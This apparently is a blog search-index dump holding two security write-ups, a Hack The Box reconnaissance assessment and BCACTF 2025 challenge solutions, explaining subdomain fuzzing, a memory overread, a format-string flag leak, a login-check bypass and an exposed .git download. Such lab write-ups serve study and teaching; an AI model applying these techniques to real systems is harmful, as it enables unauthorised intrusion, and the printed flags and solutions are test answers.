Hello everyone\nIn this article, I’ll share my approach to solving the Information Gathering skill assessment on Hack The Box, sharing the methodology and tools I used along the way.\nWhat is Web Reconnaissance and why It Matters ? # Web Reconnaissance is the Information Gathering phase of a penetration test. It aims to map the target’s digital footprint and identify entry points before an actual attack begins.\nCore Objectives # Asset Identification: Mapping subdomains, IPs, and tech stacks.\nData Discovery: Finding leaked backups, config files, or internal docs.\nAttack Surface Analysis: Pinpointing misconfiguration and vulnerabilities.\nIntelligence Gathering: Collecting emails and employee data for Social Engineering.\nWith a quick overview of information gathering out of the way, you can explore all my notes for this module → Check this.\nNow, let’s jump straight into the assessment.\nQ1: What is the IANA ID of the registrar of the inlanefreight.com domain? # IANA stands for Internet Assigned Numbers Authority.\nIt’s the organization that:\nManages IP address allocations. Manages Domain Name System (DNS) root zones. Assigns protocol numbers, port numbers, and other internet identifiers. We can obtain the IANA ID using the whois command, which is commonly used to query information such as the registrar, registrant (administrative contact), name servers, and related details.\nBefore running any commands, we first need to add the target IP address and domain to the /etc/hosts file.\nTo do this, open the /etc/hosts file using:\nsudo nano /etc/hosts Then add the target IP and domain as shown below:\nThis step should be repeated for each domain or subdomain you plan to use.\nWhat is the /etc/hosts file? # The /etc/hosts file is a local mapping of IP addresses to hostnames on your system. When you try to access a domain, your computer first checks this file to see if there’s a specific IP associated with that domain before querying DNS servers.\nBy adding the target IP and domain/subdomain to /etc/hosts ,it forces your system to resolve the domain to the IP you specify, which is crucial for controlled testing in penetration testing.\nTurning back to our question, I used whois and done:\nPress enter or click to view image in full size\nQ2: What http server software is powering the inlanefreight.htb site on the target system? # To know what is the web server is running we can use whatweb command, which is useful to identify technologies, frameworks, CMSs, and server details used by a website:\nPress enter or click to view image in full size\nSmall Note: I put the port (49249) in the URL because the challenge doesn’t use the default port (80) for the HTTP requests\nQ3: What is the API key in the hidden admin directory that you have discovered on the target system? # Hmmm Q3 which takes a bit little more time from me :(\nThe hidden directory clue suggested a hidden subdomain or directory, so I used curl to inspect the HTTP request and response. Unfortunately, it didn’t reveal anything useful, aside from a simple HTML header.\nI realize an important thing that the IP and the domain we put in the /etc/hosts can be treated as vhost.\nWhat is Virtual Host (VHOST) ?\nA virtual host (VHOST) allows a single IP address to host multiple websites, where each site is identified by a different Host header in the HTTP request.\nFor example, example.com, admin.example.com, and api.example.com can all resolve to the same IP address, yet serve completely different content based on the requested hostname.\nAfter identifying the need to search for hidden virtual hosts, I used Gobuster in VHOST enumeration mode. Instead of fuzzing URL paths, this technique fuzzes the Host header, allowing us to discover subdomains configured on the web server but not publicly accessible.\ngobuster vhost \\ -u http://inlanefreight.htb:39225 \\ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \\ --append-domain It takes more time, but it is totally worth it:\nPress enter or click to view image in full size\nWe found a subdomain for our target, let’s explore it using our browser.\nAs expected nothing literally\nPress enter or click to view image in full size\nSo it’s time to fuzzzzzzzz\nBefore fuzzing I added the subdomain in the hosts file\nPress enter or click to view image in full size\nI used ffuf to discover any directories in this domain, the command used:\nffuf -u http://[subdomain].inlanefreight.htb:39225/FUZZ \\ -w /usr/share/seclists/Discovery/Web-Content/common.txt \\ -e .html \\ -fs 120 FUZZ is a placeholder that FFUF replaces with each word from the wordlist.\nw /usr/share/seclists/Discovery/Web-Content/common.txt the wordlist I used, you can get it from this repo fs 120 (filter size): remove the responses with the size of 120 byte helping us ignore the false responses. Press enter or click to view image in full size\nAfter browsing robots.txt\nFinally, we discovered the hidden path. To inspect the API, we simply made a request using curl.\nPress enter or click to view image in full size\nQ4: After crawling the inlanefreight.htb domain on the target system, what is the email address you have found?\nThe question push us to use crawler so I used ReconSpider, so let’s install it together:\npip3 install scrapy wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip unzip ReconSpider.zip You can use it in your own machine but it requires using environment (search how to setup it ✋), I used pwnbox in HTB because there was a trouble in my kali lol\nwhatever, after installing it using\npython3 ReconSpider.py http://[subdomain].inlanefreight.htb:39225 I didn’t get anything what’s wronggg??\nAfter trying all possibilities, I decide to fuzz again to any subdomains using Gobuster again with the same wordlist (this decision is a hint to be honst :)\nPress enter or click to view image in full size\nWe found another subdomain, after adding it to hosts file and trying ReconSpider again we have got something (ReconSpider saves the results in JSON format)\nSo let’s cat it\nPress enter or click to view image in full size\nWe got the email 👌\nQ4: What is the API key the inlanefreight.htb developers will be changing too?\nThis requires us to observe the JSON again carefully so I used my character haha\nPress enter or click to view image in full size\nI found a comment mentioning that the API will be changing to\nPress enter or click to view image in full size\nThat’s it for this challenge. See you in the next one!\n","date":"5 January 2026","description":"Reconnaissance methodology covering DNS enumeration, WHOIS lookups, subdomain discovery, and web footprinting to map an attack surface.","externalUrl":null,"permalink":"/posts/writeups/information-gathering-skill-assessment/","section":"Write-ups","summary":" Hello everyone\nIn this article, I’ll share my approach to solving the Information Gathering skill assessment on Hack The Box, sharing the methodology and tools I used along the way.\n","tags":"Web, HTB","title":"Information Gathering Skill Assessment","type":"posts"},{"content":" Misc Category # expletive # oh no! It seems like only some of the characters on my keyboard are working…\nnc challs.bcactf.com 38421\nblacklist = \u0026#34;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\u0026#34; def security_check(s): return any(c in blacklist for c in s) or s.count(\u0026#39;_\u0026#39;) \u0026gt; 50 BUFFER_SIZE = 36 while True: cmds = input(\u0026#34;\u0026gt; \u0026#34;) if security_check(cmds): print(\u0026#34;invalid input\u0026#34;) else: if len(cmds) \u0026gt; BUFFER_SIZE: print(open(\u0026#34;flag.txt\u0026#34;, \u0026#34;r\u0026#34;).read()) break else: print(\u0026#34;nope\u0026#34;) I noticed in the given server code two important things, first, all capital and small characters, and the numbers from 0 to 9 are blocked. Second, the buffer size is 36, so to print the flag, I should write something that skips the condition, but all characters are blocked too.\nSo I tried to write a special character like a semicolon and more than 36 sooooo\nOur approach is true and the flag is bcactf{fudG3_5hOo7_d4rn100}\nMolasses # This GIF shows the flag letter-by-letter, but it\u0026rsquo;s really slow and I don\u0026rsquo;t want to wait all day. Maybe there\u0026rsquo;s a faster way to get the flag?\nI tried to make some forensic techniques as I used commands like strings binwalk exiftool, but nothing was useful, so I tried to drag a photo into a photopea, a useful online tool that clarifies if the given photo contains hidden layers or such.\nAfter collecting the flag parts, our flag is bcactf{is_it_gif_or_gif_a51fd7ace416}\nAnnoying # Sometimes things are more annoying than they are difficult.\nDLXENH.zip\nTruly, the caption is very true because the given file contains multiple zips, Idk how much :), but I tried to extract them 4 or 5 times until I got bored.\nI thought in a very dumb approach I wasn\u0026rsquo;t imagining that It would be that easy. I just strings the file and grep the flag format. LOOK AT THIS….\nOUR FLAG IS HERE bcactf{w3ll_th4t_w4s_4nn0y1ng_fca743ef043c1d8}\nBinary Exploitation # ShallowSeek # Our brand new AI, ShallowSeek, is the latest and greatest LLM created to date. You can talk to it about anything! (Well, anything the government lets you)\nnc challs.bcactf.com 44123\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; char *welcome = \u0026#34;Welcome to ShallowSeek!\\nShallowSeek is a new, hyperadvanced AI that can answer any of your questions (that comply with government rules)! Ask away!\\n\u0026#34;; char *begin = \u0026#34;Sorry, but \\\u0026#34;\u0026#34;; char *end = \u0026#34;\\\u0026#34; is beyond my current scope. Let\u0026#39;s talk about something else.\\n\u0026#34;; int main(int argc, char **argv) { setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); char input[64]; char flag[64]; fgets(flag, 64, fopen(\u0026#34;flag.txt\u0026#34;, \u0026#34;r\u0026#34;)); printf(\u0026#34;%s\u0026#34;, welcome); while (1) { int i = 0; char c; while ((c = getchar()) != \u0026#39;\\n\u0026#39;) { input[i++] = c; }; if (strlen(input) == 64) { printf(\u0026#34;%s\u0026#34;, \u0026#34;Invalid input: use less than 64 characters\u0026#34;); continue; } printf(\u0026#34;%s\u0026#34;, begin); printf(\u0026#34;%s\u0026#34;, input); printf(\u0026#34;%s\u0026#34;, end); for (int j = 0; j \u0026lt; 64; j++) { input[j] = 0; } } return 0; } The program reads user input into a 64-byte buffer (input) without proper bounds checking, allowing an attacker to overflow into the adjacent flag buffer. Although there is a strlen() check to prevent buffer overflows, it occurs after the input is read, making it ineffective.\nThe loop while ((c = getchar()) != '\\n') writes to input[i++] without checking if i exceeds the buffer size. If exactly 64 bytes are sent (without a newline), the buffer is filled, leaving no null terminator. Since strlen() searches for a null terminator, reading 64 non-null bytes causes it to read beyond input into flag. The check if (strlen(input) == 64) fails to prevent the overflow because it happens too late. printf(\u0026quot;%s\u0026quot;, input) prints until a null byte is found. Since input has no null terminator, it leaks adjacent memory (flag). SO the strategy I followed, I send exactly 64 bytes to fill the input completely, then strlen(input) reads into flag, making the check pass, printf(\u0026quot;%s\u0026quot;, input) leaks the flag because it continues printing into adjacent memory.\nAND THAT IT IS ALL\nOur flag is bcactf{s0rRy_1_cAn7_741K_4B0U7_7ha7_R16h7_N0w_GfhNkl0iP2BK}\nPrinted # lol i fixed my printer. it just prints stuff now, you can use it now i guess.\n(even if the initial prompt does not show up, the challenge should function as expected)\nnc challs.bcactf.com 37643\n#include \u0026lt;stdio.h\u0026gt; char flag[128]; void show(char* name, char* flag) { char newflag[50]; snprintf(newflag, sizeof(newflag), name); printf(\u0026#34;%s\u0026#34;, newflag); } int main() { char name[45]; printf(\u0026#34; \u0026gt; What\u0026#39;s your name? \u0026#34;); fgets(name, 45, stdin); FILE *fp = fopen(\u0026#34;flag.txt\u0026#34;, \u0026#34;r\u0026#34;); if (fp) { fgets(flag, sizeof(flag), fp); fclose(fp); } else { flag[0] = \u0026#39;\\0\u0026#39;; } show(name, flag); return 0; } The provided C program reads a user-supplied name and prints it back using snprintf(). However, it contains a critical format string vulnerability due to improper handling of user input.\nThe name buffer is passed directly to snprintf() as the format string instead of being treated as data (use %s) as it should be:\nsnprintf(newflag, sizeof(newflag), \u0026#34;%s\u0026#34;, name); // Correct: name is data, not format If a user submits format specifiers like %s, %p, or %x, the program will interpret them as commands rather than plain text. This allows attackers to:\nLeak memory (ex, %p exposes stack/pointer values). Steal the flag (ex, %s reads from memory if the flag\u0026rsquo;s address is on the stack). So first to implement my approach, I tried to write %p and see the output. It outputs some addresses, and our flag could be one of them, so I tried to print the flag using the %n$s format, and to understand this format:\nn = Stack position (e.g., %4$s reads the 4th argument on the stack).\n%s = Treats that argument as a pointer to a string and prints it.\nAs the vulnerable snprintf(name) call treats name as a format string, not plain text, so it worked in this challenge. Let\u0026rsquo;s tryyyyyyyy\nHERE WEEE GOOOOOO Our flag is in the 4th argument on the stack\nbcactf{mY_pr!nt3r_d0esnt_do_th@7_vrfhu}\nCrypto # BMovie # I cannot possibly believe that you could break into my highly secured, bee-crypted vault\nnc challs.bcactf.com 21649\nimport { hash, verify } from \u0026#34;jsr:@blackberry/bcrypt@0.17.0\u0026#34;; const encoder = new TextEncoder(); let uname: string, pwd: string, adminHash: string; async function readLine(promptText: string): Promise\u0026lt;string\u0026gt; { await Deno.stdout.write(new TextEncoder().encode(promptText)); const buf = new Uint8Array(1024); const n = \u0026lt;number\u0026gt; await Deno.stdin.read(buf); if (n === null) return \u0026#34;\u0026#34;; return new TextDecoder().decode(buf.subarray(0, n)).trim(); } async function readConfirm(promptText: string): Promise\u0026lt;boolean\u0026gt; { const answer = (await readLine(promptText + \u0026#34; (y/n): \u0026#34;)).toLowerCase(); return answer.startsWith(\u0026#34;y\u0026#34;); } async function menu() { console.log( `Welcome! To begin, please register an admin account to hold the flag.`, ); await signUp(); } async function signUp() { uname = await readLine(\u0026#34;Enter a username for the administrator: \u0026#34;); pwd = await readLine( \u0026#34;Enter a secure password for the administrator account: \u0026#34;, ); adminHash = hash(encoder.encode(uname + \u0026#34;;\u0026#34; + pwd)); const next = await readConfirm(\u0026#34;Would you like to view the flag now?\u0026#34;); if (next) { await login(); } else { console.log(\u0026#34;exiting...\u0026#34;); Deno.exit(0); } } async function login() { const flag = await Deno.readTextFile(\u0026#34;flag.txt\u0026#34;); console.log(\u0026#34;Choose an account to log into: \u0026#34;); const user = await readLine(\u0026#34;Enter username: \u0026#34;); const password = await readLine(\u0026#34;Enter password: \u0026#34;); if (user === uname || password === pwd) { console.log( \u0026#34;HEY. I sure hope you\u0026#39;re not trying to break into the admin account.\u0026#34;, ); Deno.exit(0); } if (!verify(encoder.encode(user + \u0026#34;;\u0026#34; + password), adminHash)) { console.log(\u0026#34;nahh you\u0026#39;re not authorized to view the flag.\u0026#34;); Deno.exit(0); } console.log(flag); } await menu(); The challenge asks us to register an admin account and then log in to view the flag. But the code tries to block access if you log in using the same username or password as the admin.\nif (user === uname || password === pwd) { console.log(\u0026#34;HEY. I sure hope you\u0026#39;re not trying to break into the admin account.\u0026#34;); Deno.exit(0); } However, this check only compares the exact username and password strings, not the combined hash that controls access.\nLater in the same function, it verifies the login by checking:\nverify(encoder.encode(user + \u0026#34;;\u0026#34; + password), adminHash) This means that as long as we input the correct combo (user + \u0026quot;;\u0026quot; + password) that matches the admin\u0026rsquo;s credentials exactly, we can still log in — even though we aren\u0026rsquo;t allowed to use the same username or the same password alone.\nAfter several attempts and a lot of effort, I finally discovered the input values that bypassed both conditions. The admin credentials were:\nAdmin Username: admin; Admin Password: pass The credentials that successfully bypassed the conditions were:\nUsername: admin Password: ;pass HERE IS THE FLAGGGG bcactf{!c@n7_BEE_L1ev3!t_fwrhiu}\nez-xor # Please be very ORZ and do some XORing.\nICEjITYkOREpKyArBisRNyQkHRArODguJxAvJx0RKyUvIx0OIywmch0DNzAjJS0sHQAjMC0sHRcyJTAjJicmPw==\nFrom the name of the challenge, I know that I will use an XOR technique.\nI had a ready script that used XOR, so I just made the script XOR with the flag format bcactf{:\nimport base64 def decode_flag(encoded_str): decoded_bytes = base64.b64decode(encoded_str) for key in range(256): xor_result = bytes([b ^ key for b in decoded_bytes]) if b\u0026#39;bcactf{\u0026#39; in xor_result: return xor_result.decode(\u0026#39;utf-8\u0026#39;) flag_start = b\u0026#39;bcactf{\u0026#39; potential_key = bytes([decoded_bytes[i] ^ flag_start[i] for i in range(len(flag_start))]) key_length = len(potential_key) xor_result = bytes([decoded_bytes[i] ^ potential_key[i % key_length] for i in range(len(decoded_bytes))]) return xor_result.decode(\u0026#39;utf-8\u0026#39;) encoded_str = \u0026#34;ICEjITYkOREpKyArBisRNyQkHRArODguJxAvJx0RKyUvIx0OIywmch0DNzAjJS0sHQAjMC0sHRcyJTAjJicmPw==\u0026#34; flag = decode_flag(encoded_str) print(f\u0026#34;Decoded flag: {flag}\u0026#34;) And DONE, the flag is bcactf{SkibiDiSuff_RizzleRme_Sigma_Land0_Auragon_Baron_Upgraded}\nWeb # What? # Surmount the insurmountable.\nThe web LINK\nThe provided PHP code for the web:\n\u0026lt;?php if ($_SERVER[\u0026#39;REQUEST_METHOD\u0026#39;] === \u0026#39;POST\u0026#39;) { $str1 = $_POST[\u0026#39;string1\u0026#39;] ?? \u0026#39;\u0026#39;; $str2 = $_POST[\u0026#39;string2\u0026#39;] ?? \u0026#39;\u0026#39;; $hash1 = md5($str1); $hash2 = md5($str2); if ($str1 == $str2 || strlen($str1) \u0026gt; 100 || strlen($str2) \u0026gt; 100 || strlen($str1) \u0026lt; 5 || strlen($str2) \u0026lt; 5) { echo \u0026#34;No\\n\u0026#34;; exit; } else if ($hash1 == $hash2) { echo file_get_contents(\u0026#34;flag.txt\u0026#34;); exit; } } ?\u0026gt; \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;What?\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form method=\u0026#34;POST\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;string1\u0026#34;\u0026gt;String 1:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;string1\u0026#34; id=\u0026#34;string1\u0026#34; required\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;label for=\u0026#34;string2\u0026#34;\u0026gt;String 2:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;string2\u0026#34; id=\u0026#34;string2\u0026#34; required\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Compare hashes\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; To bypass the conditions in the code, we need to find two different strings (so str1 != str2), each with a length between 5 and 100 characters, that produce the same MD5 hash. This is known as an MD5 collision. I asked ChatGPT to make two different strings and have the same MD5 hash:\nstr1 = `aabg7XSs` str2 = `aabC9RqS` And Done!!!\nOur flag is bcactf{wh0_kn0ws_4nym0r3_11fab08d769a}\nI have solved a same idea challenge before, The first one in my write-up IEEE RAMADAN CTF. Check it 🙌\nSource Under Control # It\u0026rsquo;s my first time using Git. Hopefully nothing went unseen.\nThe web LINK\nI started visiting the webpage, but nothing was there, just Hello :( so I viewed the code source, but nothing was there either.\nSo I returned to the challenge again, looking for any hints, but there weren\u0026rsquo;t any given hints, but if we look read the description again we will find he told us \u0026ldquo;It\u0026rsquo;s my first time using Git\u0026rdquo;, so I considered git as a hint and I tried to write /.git/ in the code source URL =\u0026gt;\nview-source:http://challs.bcactf.com:28973/.git/\nThen I found it — the .git directory was exposed!\nThen I downloaded the git repository on my local machine to make it easy to search for the flag or any hints, so I wrote\nwget -r --no-parent http://challs.bcactf.com:28973/.git/\nAnd in my first step in analyzing the repo I wanted to search for any hints or deleted commits or flags so I used git log -p.\nFor those who don\u0026rsquo;t know git log -p command It shows:\nCommit Metadata like: Author name/email - Commit date - Commit message (often contains hints in CTFs).\n-p flag:\nExact lines added/removed in each file changed by the commit. Shown in unified diff format (+ for additions, - for deletions). Here we are again, after writing the command, I captured the flag immediately.\nThe flag is bcactf{oops_didnt_mean_to_serve_that_c06677d3437e}\n","date":"24 June 2025","description":"Solving 10 challenges across Misc, Binary Exploitation, Crypto, and Web at BCACTF 2025.","externalUrl":null,"permalink":"/posts/writeups/bcactf-2025/","section":"Write-ups","summary":"Misc Category # expletive # oh no! It seems like only some of the characters on my keyboard are working…\n","tags":"CTF, Web","title":"BCACTF 2025 Write-Up","type":"posts"}]